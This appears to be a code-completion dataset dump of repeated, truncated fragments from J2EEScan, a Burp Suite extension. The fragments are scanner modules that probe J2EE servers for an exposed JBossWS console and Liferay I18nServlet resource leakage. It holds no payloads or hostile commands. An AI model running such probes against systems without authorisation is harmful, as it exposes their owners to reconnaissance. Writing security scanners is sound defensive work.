// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_WS_PATH : JBOSS_WS) {
try {
// Test the presence of JBossWS console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH);
byte[] jbosswstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosswstest);
IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes);
if (jbosswsInfo.getStatusCode() == 200) {
// look for matches of our active check grep string | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/JBossJuddi.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_WS_PATH : JBOSS_WS) {
try {
// Test the presence of JBossWS console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH);
byte[] jbosswstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosswstest);
IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes);
if (jbosswsInfo.getStatusCode() == 200) {
// look for matches of our active check grep string | List<int[]> matches = getMatches(responseBytes, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/JBossJuddi.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_WS_PATH : JBOSS_WS) {
try {
// Test the presence of JBossWS console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH);
byte[] jbosswstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosswstest);
IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes);
if (jbosswsInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
List<int[]> matches = getMatches(responseBytes, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/JBossJuddi.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_WS_PATH : JBOSS_WS) {
try {
// Test the presence of JBossWS console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_WS_PATH);
byte[] jbosswstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosswstest);
IResponseInfo jbosswsInfo = helpers.analyzeResponse(responseBytes);
if (jbosswsInfo.getStatusCode() == 200) {
// look for matches of our active check grep string
List<int[]> matches = getMatches(responseBytes, GREP_STRING, helpers);
if (matches.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay - Resource leakage through I18nServlet",
protocol,
host)) {
return issues;
}
String system = host.concat(Integer.toString(port));
if(hs.add(system)) {
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){ | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay - Resource leakage through I18nServlet",
protocol,
host)) {
return issues;
}
String system = host.concat(Integer.toString(port));
if(hs.add(system)) {
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){ | List<int[]> matches = getMatches(response, REGEX, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | // Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay - Resource leakage through I18nServlet",
protocol,
host)) {
return issues;
}
String system = host.concat(Integer.toString(port));
if(hs.add(system)) {
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
List<int[]> matches = getMatches(response, REGEX, helpers);
if(matches.size() > 0){ | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay - Resource leakage through I18nServlet",
protocol,
host)) {
return issues;
}
String system = host.concat(Integer.toString(port));
if(hs.add(system)) {
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
List<int[]> matches = getMatches(response, REGEX, helpers);
if(matches.size() > 0){ | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
